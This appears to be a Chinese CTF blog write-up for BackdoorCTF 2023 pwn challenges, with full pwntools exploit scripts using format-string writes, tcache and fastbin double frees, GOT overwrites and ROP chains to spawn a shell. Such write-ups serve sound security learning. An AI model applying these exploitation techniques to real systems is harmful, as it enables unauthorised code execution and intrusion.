[BackdoorCTF 2023] pwn

一个国外小比赛,还好能下载附件。

Baby Formatter

一连3道格式化字符串,但都不难

有两个菜单,一个是泄露栈地址和libc,另一个是格式化字符串但过滤掉了pudx,好在还有大量可用的符号。比如li 以长整型的方式输出。

程序没有直接执行到ret的功能,但在14d3可以跳到,在写完rop后,写vuln返回地址尾字节跳过来。

from pwn import *

libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./challenge')
context(arch='amd64', log_level='debug')

p = process('./challenge')

def show():
    p.sendlineafter(b">> ", b'1')

def fmt(pay):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b">> ", pay)

show()
v = p.recvline().split(b' ')
stack = int(v[0], 16) + 0x38
libc.address = int(v[1], 16) - libc.sym['fgets']

fmt(b'%13$li')
elf.address = int(p.recvline()) - 0x14d1

print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
    if v==0:
        pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
    else:
        pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
    fmt(pay)

#gdb.attach(p, "b*0x5555555554d3\nc")
#2, vuln_ret -> 14d1->14d3
pay = f"%{0xd3}c%8$hhn".ljust(16).encode()+p64(stack -0x20)
fmt(pay)

p.interactive()

Master Formatter

与上题基本一致,但是只泄露libc地址,不过虽然v5有检查但并没有写v5的值,所以还能不限次写。

from pwn import *

libc = ELF('./libc.so.6')
elf = ELF('./chall')
context(arch='amd64', log_level='debug')

p = process('./chall')

def show():
    p.sendlineafter(b">> ", b'1')

def fmt(pay):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b">> ", pay)

show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']

fmt(b'%13$li %12$li')
elf.address = int(p.recvuntil(b' ')) - 0x1561
stack = int(p.recvline()) + 8


print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
    if v==0:
        pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
    else:
        pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
    fmt(pay)

gdb.attach(p, "b*0x555555555406\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xae}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)

p.interactive()

 Master Formatter v2

又进行了升级,这次检查过滤升级了,几乎禁用了所有的符号,除了o以外,所以可以用8进制泄露地址。另外v5的限制也生效了,只能写两次。

char *__fastcall filter(const char *a1)
{
  char *result; // rax

  if ( strchr(a1, 'p')
    || strchr(a1, 'u')
    || strchr(a1, 'd')
    || strchr(a1, 'x')
    || strchr(a1, 'f')
    || strchr(a1, 'i')
    || strchr(a1, 'e')
    || strchr(a1, 'g')
    || strchr(a1, 'a')
    || strchr(a1, 'U')
    || strchr(a1, 'U')
    || strchr(a1, 'D')
    || strchr(a1, 'X')
    || strchr(a1, 'F')
    || strchr(a1, 'I')
    || strchr(a1, 'E')
    || strchr(a1, 'G')
    || (result = strchr(a1, 'A')) != 0LL )
  {
    puts("Cant leak anything");
    exit(1);
  }
  return result;
}
  v5 = 0;
  while ( 1 )
  {
    menu(*(_QWORD *)&argc, argv, envp);
    argv = (const char **)&v4;
    *(_QWORD *)&argc = "%d%*c";
    __isoc99_scanf("%d%*c", &v4);
    if ( v4 == 4 )
      return 0;
    if ( v4 > 4 )
      goto LABEL_14;
    switch ( v4 )
    {
      case 3:
        duplicate();
        break;
      case 1:
        hint();
        break;
      case 2:
        if ( v5 > 1 )
        {
          *(_QWORD *)&argc = "Ran out";
          puts("Ran out");
        }
        else
        {
          vuln();
          ++v5;
        }
        break;
      default:
LABEL_14:
        *(_QWORD *)&argc = "Invalid input";
        puts("Invalid input");
        break;
    }
  }

先通过lo泄露地址,然后将v5改为负值进行无限次写,然后用前边的方法写rop然后跳过来。

from pwn import *

libc = ELF('./libc.so.6') #2.38
elf = ELF('./chall')
context(arch='amd64', log_level='debug')

p = process('./chall')

def show():
    p.sendlineafter(b">> ", b'1')

def fmt(pay):
    p.sendlineafter(b">> ", b'2')
    p.sendlineafter(b">> ", pay)



show()
p.recvuntil(b'Have this: ')
v = p.recvline()
libc.address = int(v, 16) - libc.sym['fgets']

pop_rdi = libc.address + 0x0000000000028715 # pop rdi ; ret
pop_rdx = libc.address + 0x0000000000093359 # pop rdx ; pop rbx ; ret
pop_rsi = libc.address + 0x000000000002a671 # pop rsi ; ret
pop_rax = libc.address + 0x0000000000046663 # pop rax ; ret


fmt(b'%13$lo %12$lo')
elf.address = int(p.recvuntil(b' '),8) - 0x16c5
stack = int(p.recvline(),8) + 8

print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

#v5+3 = 0x88
fmt(b"%186c%8$hhn".ljust(0x10)+p64(stack - 0x10 -1))
#1, write rop main_ret
pop_rdi = next(libc.search(asm('pop rdi;ret')))
rop = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
for i,v in enumerate(rop):
    if v==0:
        pay = f"%8$hhn".ljust(16).encode()+p64(stack+i)
    else:
        pay = f"%{v}c%8$hhn".ljust(16).encode()+p64(stack+i)
    fmt(pay)

gdb.attach(p, "b*0x5555555555b9\nc")
#2, vuln_ret -> 1561->15ae
pay = f"%{0xe8}c%8$hhn".ljust(16,'\x00').encode()+p64(stack -0x20)
fmt(pay)

p.interactive()

Konsolidator

这是个堆题,libc用的是2.31,pie没开,free有UAF

  v3 = time(0LL);
  srand(v3);
  for ( i = 0LL; i < rand() % 10; ++i )
  {
    v4 = rand();
    malloc(v4 % 512);
  }
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d%*c", &v6);
    switch ( v6 )
    {
      case 1:
        add((__int64)ptr, (__int64)size);
        break;
      case 2:
        if ( v7 )
        {
          puts("You can do it only once");
        }
        else
        {
          v7 = 1;
          change_size(ptr, size);               // 修改chunk大小,同时修改数组和头
        }
        break;
      case 3:
        delete(ptr, size);                      // UAF
        break;
      case 4:
        edit(ptr, size);
        break;
      case 5:
        puts("Bye");
        exit(code);
      default:
        puts("Invalid choice");
        break;
    }
  }

一般说对于有UAF并且PIE没开,got无保护的题,只需要把块建到got表就可以任意搞了

不过这里由于没有show,需要改个东西但是在got.free前边在plt的一个指针。它不像got表可以随意写,写完后会重新装填,所以不能写最方便的got.free,退而求其次写malloc,malloc改为puts后一参的size可以作为指针传进去,不过只能传整型,所以这里只能写程序加载地址。最后利用exit(code)后门,修改got.exit为system在code写一个指向bin/sh的指针(也是程序内的)

from pwn import *

context(arch='amd64',log_level = "debug")

elf = ELF("./chall")
libc = ELF("./libc-2.31.so")

# p = remote("120.24.69.11", 12700)
p = process("./chall")

def add(idx, size):
    p.sendlineafter(b">> ", b"1")
    p.sendlineafter(b"Index\n>> ", str(idx).encode())
    p.sendlineafter(b"Size\n>> ", str(size).encode())

def edit_size(idx, size):
    p.sendlineafter(b">> ", b"2")
    p.sendlineafter(b"Index\n>> ", str(idx).encode())
    p.sendlineafter(b"Size\n>> ", str(size).encode())

#UAF
def free(idx):
    p.sendlineafter(b">> ", b"3")
    p.sendlineafter(b"Index\n>> ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b">> ", b"4")
    p.sendlineafter(b"Index\n>> ", str(idx).encode())
    p.sendlineafter(b"Data\n>> ", msg)

pop_rdi = 0x4018c3 
ret = pop_rdi+1

#got.free->puts
add(0, 0x430)
add(1, 0x100)
add(2, 0x100)
free(0)
free(1)
free(2)
edit(2, p64(0x403560))
add(2, 0x100)
add(3, 0x100)

#gdb.attach(p, "b*0x401846\nc")
'''
0x403500:       0x00007ffff7df8f90      0x0000000000000000
0x403510:       0x0000000000403330      0x00007ffff7ffe190
0x403520:       0x00007ffff7fe7af0      0x0000000000401030(free)
0x403530 <puts@got.plt>:        0x00007ffff7e59420      0x0000000000401050
0x403540 <printf@got.plt>:      0x00007ffff7e36c90      0x00007ffff7e1c5c0
0x403550 <fgets@got.plt>:       0x0000000000401080      0x00007ffff7fcd930
0x403560 <malloc@got.plt>:      0x00007ffff7e6f0e0      0x00007ffff7e59ce0
0x403570 <__isoc99_scanf@got.plt>:      0x00007ffff7e380b0      0x00000000004010d0
0x403580 <rand@got.plt>:        0x00007ffff7e1cd10      0x0000000000000000
'''
#由于在free前边有plt的中转指令,所以通过修改malloc实现泄露
#malloc后边的setvuf, scanf后边的exit暂时用不到
edit(3, flat(0x401060)) #malloc -> printf
add(4, 0x403530) #printf(got.puts)

libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(f"{libc.address = :x}")

edit(3, flat([libc.sym['malloc'], 0, libc.sym['scanf'], libc.sym['system'], 0,0,0,0,
     libc.sym['_IO_2_1_stdout_'],0,
     libc.sym['_IO_2_1_stdin_'],0,
     libc.sym['_IO_2_1_stderr_'],0,
     0x4035d8, b'/bin/sh\x00'         #code->/bin/sh
     ])) #exit -> system code = /bin/sh

p.sendlineafter(b">> ", b"5")

p.interactive()

Pizzeria

这个libc是2.35不过有uaf只是这个uaf不让直接写只能show。由于2.35在释放tcache时有秤星检查,所以造double free需要在fastbin里进行。

先建大点的块释放超过7个会得到unsort

再建小块释放7个后再来释放aba得到环,将块建到environ得到栈地址

同上的方法,将块建到栈,但由于2.35需要块尾对齐无法控制到ret,所以将指针建到指针区前,再通过控制指针写ret

from pwn import *

libc = ELF('./libc.so.6')
context(arch='amd64', log_level='debug')

p = process('./chal')

item = ["Tomato","Onion","Capsicum","Corn","Mushroom","Pineapple","Olives","Double Cheese","Paneer","Chicken"]
def add(idx, size): #size*8
    p.sendlineafter(b"Enter your choice : ", b'1')
    p.sendlineafter(b"Which topping ?\n", item[idx].encode())
    p.sendlineafter(b"How much ?\n", str(size).encode())

def edit(idx, msg):
    p.sendlineafter(b"Enter your choice : ", b'2')
    p.sendlineafter(b"Which one to customize ?\n", item[idx].encode())
    p.sendafter(b"Enter new modified topping : ", msg)

def free(idx):
    p.sendlineafter(b"Enter your choice : ", b'3')
    p.sendlineafter(b"Which topping to remove ?\n", item[idx].encode())

def show(idx):
    p.sendlineafter(b"Enter your choice : ", b'4')
    p.sendlineafter(b"Which topping to verify ?\n", item[idx].encode())

def getptr(v):
    v1 = (v>>36)&0xfff
    v2 = ((v>>24)^v1)&0xfff
    v3 = ((v>>12)^v2)&0xfff
    v4 = ((v)^v3)&0xfff
    return (v1<<36)|(v2<<24)|(v3<<12)|v4

#填充满tcache后得到unsort,泄露libc
for i in range(10):
    add(i,31)
for i in range(8):
    free(i)

show(0)
heap = (u64(p.recvline()[:-1].ljust(8, b'\x00'))<<12)
print(f"{heap =:x}")
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) + 0x67c0 - libc.sym['__malloc_hook']
print(f"{heap = :x} {libc.address = :x}")

for i in range(8):
    add(i,31)

#填充满tcache后在fastbin doublefree得到环将块建到environ 得到栈地址
for i in range(10):
    add(i,13)
for i in [0,1,2,3,4,5,6,7,8,7]:
    free(i)
for i in [6,5,4,3,2,1,0]:
    add(i, 13)

add(0,13)
edit(0, b'A'*8)
show(0)
p.recvuntil(b'A'*8)
key = p.recv(8)
print('key=',key.hex())

edit(0, p64(libc.sym['_environ']^(heap>>12))+key)
add(1, 13)
add(1, 13)
add(1, 13) #_environ
show(1) 
stack = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x220  #edit_ret
print(f"{stack = :x}")

#同上得到环,将块建到栈内控制指针区
for i in range(10):
    add(i,8)
for i in [0,1,2,3,4,5,6,7,8,7]:
    free(i)
for i in [6,5,4,3,2,1,0]:
    add(i, 8)

add(0,8)

edit(0, p64((stack+0x18)^((heap>>12)+1))+key)
add(1, 8)
add(1, 8)
add(1, 8) #size[]

pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

#gdb.attach(p, "b*0x555555555aba\nc")
edit(1, p32(100)*12 + flat(stack)) #ptr[0]->edit_ret
edit(0, flat(pop_rdi+1, pop_rdi, bin_sh, system))
p.interactive()

  • 8
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值